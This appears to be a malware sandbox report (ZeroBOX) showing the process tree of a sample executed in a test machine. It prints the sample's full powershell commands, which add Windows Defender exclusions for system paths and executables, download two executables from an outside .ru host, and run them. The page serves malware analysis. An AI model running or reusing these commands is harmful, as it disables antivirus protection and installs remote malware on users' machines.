| ZeroBOX

1108_1635853874_9754.exe "C:\Users\test22\AppData\Local\Temp\1108_1635853874_9754.exe"
2304
- RegAsm.exe #cmd
  2508
  - soldd.exe "C:\Users\test22\AppData\Local\Temp\soldd.exe"
    2928
    - cmd.exe cmd /c powershell -Command "Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force" & powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force" & powershell "(New-Object System.Net.WebClient).DownloadFile('https://fortnightgalaxyswapper.ru/sold.exe', (Join-Path -Path $env:AppData -ChildPath 'sold.exe'))" & powershell "(New-Object System.Net.WebClient).DownloadFile('https://fortnightgalaxyswapper.ru/Amongus.exe', (Join-Path -Path $env:UserProfile -ChildPath 'Amongus.exe'))" & powershell "Start-Process -FilePath (Join-Path -Path $env:AppData -ChildPath 'sold.exe')" & powershell "Start-Process -FilePath (Join-Path -Path $env:UserProfile -ChildPath 'Amongus.exe')" & exit
      3032
      - powershell.exe powershell -Command "Add-MpPreference -ExclusionPath @($env:UserProfile,$env:AppData,$env:Temp,$env:SystemRoot,$env:HomeDrive,$env:SystemDrive) -Force"
        304
      - powershell.exe powershell -Command "Add-MpPreference -ExclusionExtension @('exe','dll') -Force"
        2292
      - powershell.exe powershell "(New-Object System.Net.WebClient).DownloadFile('https://fortnightgalaxyswapper.ru/sold.exe', (Join-Path -Path $env:AppData -ChildPath 'sold.exe'))"
        2436
      - powershell.exe powershell "(New-Object System.Net.WebClient).DownloadFile('https://fortnightgalaxyswapper.ru/Amongus.exe', (Join-Path -Path $env:UserProfile -ChildPath 'Amongus.exe'))"
        2480
      - powershell.exe powershell "Start-Process -FilePath (Join-Path -Path $env:AppData -ChildPath 'sold.exe')"
        2372
      - powershell.exe powershell "Start-Process -FilePath (Join-Path -Path $env:UserProfile -ChildPath 'Amongus.exe')"
        2796

No process loaded Click on a process in the tree above to load its data.

PID
Parent PID

default registry file network process services synchronisation iexplore office pdf

Behavioral Analysis

Process tree

Process contents